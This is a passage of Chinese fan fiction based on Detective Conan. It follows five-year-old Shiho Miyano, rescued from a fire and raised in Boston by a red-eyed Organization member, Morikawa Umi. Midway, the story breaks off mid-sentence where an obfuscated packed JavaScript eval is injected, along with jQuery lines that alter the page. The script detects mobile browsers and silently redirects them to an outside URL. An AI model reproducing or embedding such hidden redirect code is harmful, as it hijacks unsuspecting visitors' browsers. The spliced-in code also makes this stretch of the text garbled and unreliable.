宫野志保是被烟呛醒的。


    不是普通的烟——刺鼻，辛辣，带着化学试剂燃烧时特有的焦臭味。她睁开眼睛，看见门缝底下钻进来的灰白色烟雾，像无数条细小的蛇蜿蜒着爬进房间。


    房间里很暗，是凌晨浓稠的黑暗。她躺在床上没动，听见外面有人在喊什么，脚步声杂乱地踩过走廊，踩得天花板都在轻轻震颤。


    然后她听见了爆炸声。


    不是很大，闷闷的一声，像什么东西塌了下去。她坐起来，赤脚踩在地板上，木质地板传来的凉意从脚底蹿上来，一直蹿到后脊梁。她走到门边，握住门把手——


    烫的。


    她把手缩回来，攥着那只手站在那儿，盯着那扇门。又一阵脚步声跑过去，有人在喊“起火了”，有人在喊“实验室”，她听见这些话，站在那里没动。


    走廊里的喊叫声越来越远，好像所有人都往一个方向跑了。她听见火焰燃烧的噼啪声，听见玻璃炸裂的声音，听见什么东西正在塌陷。


    她就那么站着，光着脚。


    门被人从外面撞开的时候，她往后退了一步。


    热浪涌进来，带着火星和灰烬。宫野志保眯起眼睛，看见一个男人站在门口，逆着光看不清脸，只看见一双红色的眼睛燃烧着，像外面的大火。


    那人在门口停了不到一秒，目光扫过她全身，然后弯下腰，把她抱起来。


    她闻到焦糊的味道，还有血腥味，不知道是他的还是别人的。她想挣扎，但那人抱得很紧，一只手托着她的后脑勺，把她按在肩膀上。她看不见路，只听见风声和脚步声，还有越来越远的嘈杂。


    冷空气打在脸上。


    宫野志保抬起头，看见暗红色的夜空映着下面燃烧的房子，那栋她住了五年的房子，父母的实验室。二楼窗口蹿出火舌，玻璃碎了，一块一块往下掉，砸在地上发出清脆的碎裂声。


    那个男人把她放进一辆车里，关上车门。


    宫野志保趴在车窗上往外看，看见他站在车外面，背对着她，望着那片火光。他站得很直，但不知道为什么，她觉得那个背影看起来很难过——像是在看什么再也回不去的地方。


    车门打开，他坐了进来，对司机说：“走。”


    车子启动的时候，她回过头，一直看着那片越来越小的火光，直到它消失在道路尽头。她没哭，只是把脸贴在冰凉的玻璃上，看着黑暗从四面八方涌过来。


    那年宫野志保五岁。


    那个男人叫森川海。


    这是她后来才知道的。在飞机上，他递给她一杯水，然后从口袋里掏出一张卡片，上面印着这个名字，还有一行英文。他递卡片过来的手很稳，指节分明，指甲修剪得很整齐，不像一个刚从火场里出来的人。


    “以后我照顾你。”森川海说。


    宫野志保看着他。这时候她才发现森川海的眼睛其实是很浅的红，像是玻璃珠泡在水里，或者某种矿石在光下透出的颜色。他说话的声音很轻，语速很慢，每个字都像是想好了才说出来。


    她没说话，接过那杯水，小口小口地喝。


    飞机飞了很久。她睡了一觉，醒来的时候发现身上盖着他的外套。他坐在旁边，看着窗外，不知道在想什么。云层外面是黑的，什么也看不见，但他就那么看着，好像能看见什么她看不见的东西。


    “我姐姐呢？”宫野志保问。


    他转过头来看她。那双红眼睛看着她，过了一会儿才说：“她在日本。”


    “我要回去。”


    “不行。”


    她盯着他。他也在看她，目光很平静，没什么表情，但也不凶。宫野志保那时候还小，不知道怎么形容那种眼神——不像是在看一个陌生的小孩，也不像在看一个需要完成的任务。


    “你爸妈死了。”森川海说。


    她没吭声。


    “组织派我来照顾你。我们要去美国，你住我那儿。”


    宫野志保低下头，蜷缩在座椅里，把自己缩得很小。他没再说话。过了一会儿，她感觉他把外套又往上拉了拉，盖住她露在外面的肩膀。


    波士顿的公寓在四楼，两室一厅，窗户外面能看见一条河。


    森川海把她的行李放在小房间的门口，说：“你住这间。”然后他就进了另一间，关上门，一直到晚上才出来。


    宫野志保坐在自己房间的地板上，看着那个行李箱。箱子是她自己收拾的，在火烧起来之前的那天下午。她装了几件衣服，一本图画书，一支铅笔。她本来以为是要去看妈妈。


    可是妈妈没有来。


    ……


    森川海做饭很难吃，非常难吃。


    她被接回家的第一天，森川可能想尽量体贴些，没和她接触，站在门口把盘子放在地板上，然后退出去带上门。


    宫野志保低头看盘子。


    是一块肉，还有一堆绿色的东西。肉是焦的，边上全是黑色。绿色的东西软塌塌地堆在一起，她凑近了闻，没闻出是什么。


    对一个五岁的孩子来说，现在确实是饿的时候。但宫野志保用叉子戳了戳那块肉，硬的，叉子戳不进去，敲一敲能听见响声。她换了个角度，使劲戳，终于戳下一小块，放进嘴里。


    嚼不动。


    她嚼了很久，嚼到腮帮子发酸，硬吞下去。那堆绿色的东西她尝了一口，咸得发苦，苦得舌头都麻了，她赶紧吐了出来。


    她坐在那里看着盘子，肚子还在叫。


    这应该是食物吧？宫野志保犹豫了一会儿。如果这个人想毒死她，应该不至于带到美国才动手。


    后来她饿得受不了，又戳了几块肉，每块都嚼了很久，喝了很多水，才勉强把那块肉吃完。绿色的东西她没再碰。她把盘子端出去，放在厨房的台子上。森川海坐在客厅的沙发里，在看一本书。他抬起头看了她一眼，又低下头继续看。


    她站在那里，等了一会儿。


    森川海没说话。


    第二天早上盘子不见了，中午她又看见两个盘子放在厨房台子上，和昨天一模一样：一块焦黑的肉，一堆不知道是什么的绿色东西。


    宫野志保站在台子前面看了很久。


    一定要吃吗？


    森川海从房间里出来，看见她站在那里，脚步顿了一下。然后他走过来，把两个盘子端起来，放到餐桌上，又拿了两个勺子，摆好。


    “吃饭。”他说。


    宫野志保坐到餐桌前，看着森川海把那块肉切开，叉起一块放进嘴里，嚼了嚼，咽下去。脸上什么表情都没有，好像吃的是很正常的东西。


    就算真的打算毒死她，这种牺牲也太大了。


    宫野志保低下头，开始吃这勉强能称为饭的东西。还是嚼不动，还是咸得发苦。她忍着，努力一口一口往下咽。吃到一半的时候宫野志保她抬头看了森川海一眼，发现他也在看她。


    那双红眼睛看着她，很安静，没什么特别的表示，但就是一直看着。不是监视，也不是打量，就只是……看着。


    宫野志保把视线移开，继续吃。


    那天下午她拉肚子了。


    一个星期之后，宫野志保确定了两件事。


    第一，森川海做的饭，不管是什么都很难吃。他做过肉，做过鱼，做过米饭，做过汤。肉永远是焦的，鱼永远是腥的，米饭永远是夹生的，汤永远是没法喝的。她不知道他是怎么做到的，明明每次都是不同的东西，最后端上来的却都是一样的难吃。


    食材知道自己被做成这种东西应该也会难过的。


    第二，森川海好像完全不觉得自己做的饭难吃。


    每天三餐，他会准时把盘子端出来摆在餐桌上，然后坐在对面，安静地吃完自己那份。


    宫野志保试过问他：“你尝不出来吗？”


    森川海抬起头看她：“尝不出什么？”


    “这个——”她指着盘子里的东西，那块肉今天格外黑，黑得像炭，“很难吃。”


    森川海低头看了看盘子。宫野志保从这个动作里看出了一丝挫败——很淡，几乎看不出来，但她就是感觉到了。然后森川海说：“还行。”


    她不知道他说的“还行”是什么意思。是真的觉得还行还是无所谓，还是故意这么说。她那时候太小，看不出他的表情——森川海脸上总是没什么表情，只有那双眼睛，偶尔看她的时候会让她觉得怪怪的。


    那种眼神很难形容，不是她见过的那些大人看小孩的样子，像是在看什么很远的东西，透过她在看别的什么。


    有一次宫野志保睡不着，半夜起来探索这个地方，经过森川海房间门口时，看见门缝底下有光。她凑过去听，听见里面有人在说话，声音很轻，听不清说的是什么。偶尔停一下，然后又继续说，像是在打电话，又像是在自言自语。


    她在门口站了一会儿，光着脚，地板很凉。


    后来她回去了，钻进被窝里想着那个声音，森川海的声音和白天不太一样，更轻，更慢，像是在说什么很重要的事。


    她不知道他在说什么，也不知道他在跟谁说。


    宫野志保以为这种日子会一直持续下去。


    每天吃难吃的饭，每天看着他坐在对面安静地吃完，每天被他用那种奇怪的眼神看几眼。她开始习惯那种眼神，开始习惯难吃的饭，习惯这个不爱说话的人。


    结果有一天晚上，她肚子疼醒了。


    疼得很厉害，像是有什么东西在肚子里绞，绞得她整个人都蜷起来。她蜷在床上，咬着被子，不敢出声。疼了好一会儿，稍微好了一点，她爬起来去厕所。


    经过客厅的时候，她看见沙发上坐着一个人。


    是森川海。


    他没开灯，就那么在黑暗里坐着，不知道坐了多久。她站在走廊口，看着他的背影。他的肩膀微微弓着，头低着，像是在看地板，又像是什么也没看。月光从窗户照进来，在地上投下一块长方形的光，他就坐在那块光的边缘。


    她站在那里没动。


    过了一会儿，他动了动，转过头来。


    黑暗中她看不清他的脸，只看见那双眼睛。红色的，在黑暗里像是会发光似的，比起人类更像某种动物，多少有点让人害怕。


    “不舒服？”森川海问。


    她点点头。


    森川海走过来。走近了，她看见他的脸，和白天一样，没什么表情，但他伸出手放在她额头上，手心很凉，凉得她打了个哆嗦。


    “怎么发烧了。”


    然后森川海把她抱起来，和那天晚上一样，一只手托着她的后脑勺，把她按在肩膀上。她靠在他肩上，闻到他身上有股很淡的味道，像是肥皂，又像是别的什么，让她想到实验室的消毒水。


    他抱着她出了门。


    后来她才知道，那天晚上她得了急性肠胃炎。医生说是食物中毒，让森川海看好孩子别乱吃东西。森川海说她只吃了自己做的饭，医生让他别给孩子下毒。


    宫野志保在医院里躺了两天，森川海也陪着待了两天，就坐在病床旁边的椅子上，不怎么说话，也不怎么动。偶尔她会睁开眼睛，看见他还坐在那儿，姿势都没变过。


    第二天姐姐打电话来了。


    森川海把电话拿到她床边，她听见姐姐的声音，突然就哭了。这是从那天晚上之后她第一次哭。她也不知道为什么哭，就是听见姐姐的声音，眼泪就下来了。


    姐姐在电话那头也哭了，一边哭一边问她好不好。她说好，说自己还在上学，说一切平安。


    她没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217437|197044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说森川海做的饭有多难吃。


    挂了电话，她躺回床上看着天花板。森川海还坐在那把椅子上，看着她。她转过头，和他的视线对上。


    “你和你姐姐关系很好？”他问。


    听见这话，宫野志保眼中出现警惕，但森川海没说什么。


    “以后有空我可以带你去看她。”


    晚上，她睁着眼睛看着窗外的月光。森川海坐在椅子上，好像睡着了。宫野志保看着他的侧脸，月光照在上面，线条很柔和，他睡着的时候，眉头是皱着的，好像在做梦，梦见什么不太好的事。


    她突然想知道这个人到底是谁。


    从医院回来之后，宫野志保做了个决定。


    “以后我来做饭。”她站在厨房门口，重复了一遍，“我来做饭。你做的饭太难吃了，我不想再进医院。”


    森川海沉默了一会儿，好像终于接受了这个事实，失落地走开了。第一次，宫野志保终于吃了顿能入口的饭。


    也是第一次，她觉得森川海好像没有那么可怕。


    从那以后，做饭就成了宫野志保的事。


    她开始学着做不同的东西。有时候做得好，有时候做得不好。做得不好的时候，森川海也会吃完，一点不剩。


    她问他：“不好吃你怎么也吃完了？”


    森川海说：“能吃。”


    她不知道他说的“能吃”是什么意思。但后来她慢慢发现，他是真的觉得什么都“能吃”。宫野志保做过一次红烧肉，糖放多了，甜得发腻，她自己都吃不下去。他照样吃完，照样说“能吃”。


    她想，这个人可能真的尝不出好坏。


    但除了做饭，森川海好像什么都会。


    不是学校教的那些，对天才来说这些知识太慢了，慢的跟不上他们的脚步。宫野志保早就不需要上学了，只是森川海还在坚持，坚持说她需要和人交流。


    而其他的东西，就由森川海教过她。


    后来她才知道，森川大学读的是物理，研究生读的是生物化学。她不知道这样的人为什么会加入组织，她没问过，他也不说。


    有时候晚上，宫野志保起来喝水，经过森川海房间，会看见他坐在书桌前，台灯开着，对着电脑屏幕。屏幕上全是密密麻麻的字和数据，她瞄一眼就不想再看。他看得很认真，偶尔打几个字，偶尔翻一翻手边的书。那本书很厚，封面上全是英文。


    她不知道他在做什么工作，他从来不提，她也不问。


    有时候森川海会消失一整天。早上还在，中午回来的时候就不见了，晚上也不回来吃饭。第二天又出现了，脸上看不出什么变化，但她总觉得哪里不太一样——也许是走路的声音轻了一点，也许是看她的时间久了一点。


    有一次她问森川海：“你去哪儿了？”


    森川海看着她，过了一会儿说：“工作。”


    宫野志保没再问。


    时间久了，宫野志保开始注意到一些事。


    比如森川海看自己的时候，像是要确认什么。比如他从来不碰她，带她出门走在路上，会和她保持一点距离，不会牵她的手，也不会揽她的肩膀。但她需要什么时他总是在旁边，过马路的时候，他会走在她外侧；下雨的时候，他会把伞往她那边倾。


    比如他记得她所有的事。


    宫野志保问：“你对我这么好，是因为组织让你照顾我吗？”


    他看着她，沉默了很久，久到宫野志保以为他不会回答了。窗外的天色已经暗下来，厨房里传来炖汤的声音，咕嘟咕嘟的。


    “不全是。”森川海说，“其实你是我抢来的。”


    宫野志保等着他往下说，但他没再说。那天晚上她躺在床上，一直在想他那句话。不全是。那就是有一部分是。可为什么是抢来的？宫野志保想不明白。


    ……她长得也没有很像她妈妈吧？


    总不能是爸爸？


    “我没在吃代餐。”森川海试图解释，“这不是正餐吗——这里是无cp频道我谈不到恋爱的。”


    宫野志保：“……”


    这个人还爱说一些很奇怪的话。


    她总觉得森川海看自己的眼神很奇怪，像是在看什么很重要的人，又像是在看什么很遥远的东西。


    那天晚上她睡不着，起来喝水。经过森川海房间时，他的门没关严，露出一条缝，里面有光还有声音。宫野志保本来想直接走过去，但听见他在说话，脚步就停了一下。


    “……我知道。”他在说，声音很轻，“我有分寸，琴酒。”


    她站在那里没动。


    “不会的。”他又说，“我会照顾好她。”


    沉默了一会儿。


    “不是那个意思。我只是……”


    又沉默了。


    她站在门外，听着那些断断续续的话。不知道他在跟谁说话，也不知道前面说了什么。但有一句话她听清了。


    “她不知道。别告诉她。”


    然后里面没声音了。


    她站在那里，站了很久。走廊里很暗，只有从门缝里透出来的那一线光，落在她光着的脚上。她低头看着那道光，看着自己脚趾上沾的灰尘。


    后来她回到自己房间，躺回床上，看着天花板。


    她不知道什么？别告诉她什么？


    她想起他看她的眼神，想起他每次多停的那一两秒，想起他说“不全是”的时候那个表情。想起他站在车外望着火光的背影，那个看起来很难过的背影。


    她想起父母实验室的那场大火。


    那天晚上，他把她从火场里抱出来，站在车外面望着那片火光。她趴在车窗上看见他的背影，觉得那个背影看起来很难过。


    那时候她不知道为什么。